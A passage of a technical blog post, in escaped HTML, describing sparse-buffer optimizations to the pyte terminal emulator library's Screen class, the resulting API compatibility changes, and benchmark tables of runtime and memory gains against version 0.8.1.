&lt;li&gt;Sparse-aware algorithms for &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Screen&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;index&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Screen&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;reverse_index&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; that improved indirectly &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Screen&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;draw&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Stream&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;feed&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Sparse-aware algorithms for &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Screen&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;resize&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Sparse-aware algorithms for &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Screen&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tabstop&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Sparse-aware algorithms for &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;ScreenHistory&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;prev_page&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;ScreenHistory&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;next_page&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Sparse-aware algorithms for &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Screen&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;insert_characters&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Screen&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;delete_characters&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Screen&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;insert_lines&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Screen&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;delete_characters&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; that improved the performance of &lt;em&gt;“terminal aware”&lt;/em&gt; programs.&lt;/li&gt;
&lt;li&gt;Statistics about &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Screen&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;’s buffer and lines to have insight about the sparsity and usage of these elements. (The API is not not standard like &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;DebugScreen&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Make the public attribute &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Screen&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; return a &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;BufferView&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;. Retrieve of lines from it yield &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;LineView&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; instead of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Line&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; objects. This adds an overhead on user code but allows a separation between the public part and the internals. Iterate over &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;LineView&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; still yields &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Char&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; objects as usual (to much high penalty otherwise).&lt;/li&gt;
&lt;li&gt;Make the public &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Screen&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;history&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;’s &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;top&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;bottom&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; queues return &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;LineView&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and not &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Line&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; objects&lt;/li&gt;
&lt;li&gt;Make the private attribute &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Screen&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_buffer&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; a &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nb"&gt;dict&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and not a &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;defaultdict&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;. This prevent adding entries unintentionally that would make the buffer less sparse and therefore slow.&lt;/li&gt;
&lt;li&gt;If the current cursor attributes (style) matches the default attributes of the screen, do not write explicit spaces on erase methods (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Screen&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;erase_characters&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Screen&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;erase_in_line&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Screen&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;erase_in_display&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;When &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;disable_display_graphic&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; prevent &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Screen&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;select_graphic_rendition&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; to change the cursor attributes (style). If the cursor attrs don’t change, we can optimize the erase methods. The flag is &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="kc"&gt;False&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; by default. but just remove the chars from the buffer. This makes speedup other algorithms and maintain high the sparsity (and consume less memory).&lt;/li&gt;
&lt;li&gt;When &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;track_dirty_lines&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="kc"&gt;False&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; use a &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;NullSet&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; for &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Screen&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dirty&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; attribute to not consume any memory and discard any element, disabling effectively the dirty functionality. This saves time and memory for large geometries. The flag is &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; by default.&lt;/li&gt;
&lt;li&gt;Make &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Screen&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;margin&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; always a &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Margin&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; object so we can avoid checking if it is &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; or not.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="compatibility-changes"&gt;Compatibility changes&lt;/h2&gt;
&lt;p&gt;The following are changes in the API that may break user code. A special care was taken to avoid this situation.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Char&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is not longer a &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;namedtuple&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; so things like &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;_replace&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; are gone. If necessary we could reimplement the API of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;namedtuple&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; but I don’t think users will use.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Char&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is mutable but the user must not relay on this: changes to character will have undefined behaviour. The user must use always the API provided by &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Screen&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Char&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; not longer has attributes for &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;fg&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;bg&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;bold&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;. Instead, it has a single read-only &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;CharStyle&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;. The &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Char&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; class implements &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;fg&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;bg&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;bold&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; as &lt;em&gt;properties&lt;/em&gt; to do the lookup to the style behind the scene. User code should not break then.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Screen&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; now is a property that returns a &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;BufferView&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; with a similar API to a dictionary. It yields &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;LineView&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; objects instead of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Line&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; objects. These in turn yield &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Char&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; objects (not views). User can still iterate over the lines and chars as if the buffer were a dense array and not a sparse array as it is really. Like any view, these are valid until the next modification of the screen. This change may break user code if it uses &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; in another way.&lt;/li&gt;
&lt;li&gt;The queues &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;top&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;bottom&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;ScreenHistory&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;history&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; contain &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;LineView&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and not &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Line&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; objects. This may break user code.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Screen&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;margin&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is always a &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Margin&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; object: the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; value is not longer supported.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="results"&gt;Results&lt;/h1&gt;
&lt;h2 id="high-level-results"&gt;High level results&lt;/h2&gt;
&lt;p&gt;For large geometries (240x800, 2400x8000), &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Screen&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;display&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; runs orders of magnitud faster and consumes between 1.10 and 50.0 times less memory.&lt;/p&gt;
&lt;p&gt;For smaller geometries the minimum improvement was of 2 times faster.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Stream&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;feed&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is now between 1.10 and 7.30 times faster and if &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Screen&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is tuned, the speedup is between 1.14 and 12.0.&lt;/p&gt;
&lt;p&gt;However there is a regression for the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;mc&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;input&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; test of up to 4 times slower.&lt;/p&gt;
&lt;p&gt;For memory usage, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Stream&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;feed&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is between 1.10 and 17.0 times lighter and up to 44.0 times lighter if &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Screen&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is tuned.&lt;/p&gt;
&lt;p&gt;Screen.reset is between 1.10 and 1.50 slower but several cases improve if the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Screen&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is tuned (but not all).&lt;/p&gt;
&lt;h2 id="tldr---numbers-overview"&gt;TL;DR - Numbers overview&lt;/h2&gt;
&lt;p&gt;The following is a overview of the numbers got. To make this post as short as possible, the some results were omitted (rows omitted are marked with &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="p"&gt;:::&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Full benchmark results are listed below; people is encouraged to do their own benchmarks for cross validation.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="/assets/python/pyte/screen-optimizations-benchmark-results/0.8.1.json"&gt;0.8.1 - runtime&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/assets/python/pyte/screen-optimizations-benchmark-results/0.8.1.tracemalloc.json"&gt;0.8.1 - tracemalloc&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/assets/python/pyte/screen-optimizations-benchmark-results/0.8.1+screen-optimizations+default-conf.json"&gt;optimized (default) - runtime&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/assets/python/pyte/screen-optimizations-benchmark-results/0.8.1+screen-optimizations+default-conf.tracemalloc.json"&gt;optimized (default) - tracemalloc&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/assets/python/pyte/screen-optimizations-benchmark-results/0.8.1+screen-optimizations+custom-conf.json"&gt;optimized (tuned) - runtime&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/assets/python/pyte/screen-optimizations-benchmark-results/0.8.1+screen-optimizations+custom-conf.tracemalloc.json"&gt;optimized (tuned) - tracemalloc&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="screen.display"&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Screen&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;display&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Screen&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;display&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; was optimized to generate large chunks of spaces very quickly.&lt;/p&gt;
&lt;p&gt;For large geometries, this has an huge impact on the performance:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;+----------------------------------------------------------+----------+-----------------------------------------+
| Benchmark                                                | 0.8.1    | 0.8.1+screen-optimizations+default-conf |
+==========================================================+==========+=========================================+
| [screen_display 2400x8000] mc.input-&amp;gt;Screen              | 6.69 sec | 9.95 us: 672459.98x faster              |
| [screen_display 2400x8000] mc.input-&amp;gt;HistoryScreen       | 6.60 sec | 10.3 us: 638209.07x faster              |
| [screen_display 2400x8000] vi.input-&amp;gt;HistoryScreen       | 6.80 sec | 132 us: 51648.56x faster                |
| [screen_display 2400x8000] vi.input-&amp;gt;Screen              | 6.60 sec | 130 us: 50691.68x faster                |
    :::                 ::::                                    ::::         :::
| [screen_display 240x800] ls.input-&amp;gt;HistoryScreen         | 70.1 ms  | 248 us: 283.21x faster                  |
| [screen_display 240x800] ls.input-&amp;gt;Screen                | 69.1 ms  | 244 us: 282.76x faster                  |
| [screen_display 240x800] top.input-&amp;gt;Screen               | 68.2 ms  | 249 us: 273.98x faster                  |
| [screen_display 240x800] top.input-&amp;gt;HistoryScreen        | 67.3 ms  | 257 us: 261.64x faster                  |
    :::                 ::::                                    ::::         :::
| [screen_display 24x80] find-etc.input-&amp;gt;HistoryScreen     | 670 us   | 101 us: 6.63x faster                    |
| [screen_display 24x80] find-etc.input-&amp;gt;Screen            | 640 us   | 97.9 us: 6.54x faster                   |
| [screen_display 24x80] vi.input-&amp;gt;HistoryScreen           | 606 us   | 115 us: 5.27x faster                    |
| [screen_display 24x80] vi.input-&amp;gt;Screen                  | 584 us   | 117 us: 5.00x faster                    |
| [screen_display 24x80] cat-gpl3.input-&amp;gt;Screen            | 605 us   | 189 us: 3.21x faster                    |
| [screen_display 24x80] cat-gpl3.input-&amp;gt;HistoryScreen     | 605 us   | 195 us: 3.11x faster                    |
| [screen_display 24x80] ls.input-&amp;gt;HistoryScreen           | 609 us   | 221 us: 2.75x faster                    |
| [screen_display 24x80] ls.input-&amp;gt;Screen                  | 585 us   | 221 us: 2.65x faster                    |
| [screen_display 24x80] top.input-&amp;gt;Screen                 | 567 us   | 244 us: 2.33x faster                    |
| [screen_display 24x80] top.input-&amp;gt;HistoryScreen          | 580 us   | 251 us: 2.32x faster                    |
| [screen_display 24x80] htop.input-&amp;gt;HistoryScreen         | 564 us   | 269 us: 2.10x faster                    |
| [screen_display 24x80] htop.input-&amp;gt;Screen                | 559 us   | 273 us: 2.05x faster                    |&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Screen&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;display&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; takes advantage of the sparsity of the screen and therefore it was indirectly beneficed by the optimizations done across &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Screen&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; to avoid filling it with &lt;em&gt;false entries&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Screen&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;display&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; it was also optimized on memory (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;tracemalloc&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;) avoiding then append of each space character separately when they could be appended in a single chunk.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;+--------------------------------------------------------------+-------------------+-----------------------------------------------------+
| Benchmark                                                    | 0.8.1.tracemalloc | 0.8.1+screen-optimizations+default-conf.tracemalloc |
+==============================================================+===================+=====================================================+
| [screen_display 2400x8000] ls.input-&amp;gt;HistoryScreen           | 19.7 MB           | 408.1 kB: 49.43x faster                             |
| [screen_display 2400x8000] mc.input-&amp;gt;HistoryScreen           | 19.7 MB           | 411.4 kB: 49.04x faster                             |
| [screen_display 2400x8000] mc.input-&amp;gt;Screen                  | 19.7 MB           | 411.4 kB: 49.04x faster                             |
| [screen_display 2400x8000] ls.input-&amp;gt;Screen                  | 19.7 MB           | 411.5 kB: 49.03x faster                             |
| [screen_display 2400x8000] vi.input-&amp;gt;HistoryScreen           | 18.5 MB           | 404.7 kB: 46.84x faster                             |
| [screen_display 2400x8000] top.input-&amp;gt;HistoryScreen          | 18.5 MB           | 408.3 kB: 46.43x faster                             |
| [screen_display 2400x8000] vi.input-&amp;gt;Screen                  | 18.5 MB           | 408.5 kB: 46.40x faster                             |
| [screen_display 2400x8000] top.input-&amp;gt;Screen                 | 18.5 MB           | 411.5 kB: 46.07x faster                             |
| [screen_display 2400x8000] htop.input-&amp;gt;Screen                | 18.5 MB           | 1102.6 kB: 17.19x faster                            |
| [screen_display 2400x8000] htop.input-&amp;gt;HistoryScreen         | 18.5 MB           | 1103.2 kB: 17.18x faster                            |
| [screen_display 2400x8000] cat-gpl3.input-&amp;gt;HistoryScreen     | 19.5 MB           | 5392.6 kB: 3.70x faster                             |
| [screen_display 2400x8000] cat-gpl3.input-&amp;gt;Screen            | 19.5 MB           | 5392.0 kB: 3.70x faster                             |
| [screen_display 240x800] mc.input-&amp;gt;Screen                    | 513.2 kB          | 403.5 kB: 1.27x faster                              |
| [screen_display 240x800] ls.input-&amp;gt;Screen                    | 517.0 kB          | 411.5 kB: 1.26x faster                              |
| [screen_display 240x800] ls.input-&amp;gt;HistoryScreen             | 511.7 kB          | 408.1 kB: 1.25x faster                              |
| [screen_display 240x800] mc.input-&amp;gt;HistoryScreen             | 510.4 kB          | 411.4 kB: 1.24x faster                              |
| [screen_display 2400x8000] find-etc.input-&amp;gt;HistoryScreen     | 18.7 MB           | 16.6 MB: 1.12x faster                               |
| [screen_display 2400x8000] find-etc.input-&amp;gt;Screen            | 18.7 MB           | 16.6 MB: 1.12x faster                               |&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The only two regressions are:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;| [screen_display 240x800] htop.input-&amp;gt;HistoryScreen           | 408.7 kB          | 487.3 kB: 1.19x slower                              |
| [screen_display 240x800] htop.input-&amp;gt;Screen                  | 405.8 kB          | 486.2 kB: 1.20x slower                              |&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Not sure why this happen.&lt;/p&gt;
&lt;h3 id="stream.feed"&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Stream&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;feed&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;stream&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;feed&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; was not modified but its runtime depends on &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Screen&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;’s performance.&lt;/p&gt;
&lt;p&gt;For terminal programs that just write into then terminal, like &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;cat&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;gpl3&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;find&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;etc&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;stream&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;feed&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; merely sends then input to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Screen&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;draw&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; for rendering.&lt;/p&gt;
&lt;p&gt;The method &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Screen&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;draw&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; was optimized to avoid the modification of the cursor internally and update it only at the exit. This saved a few lookups.&lt;/p&gt;
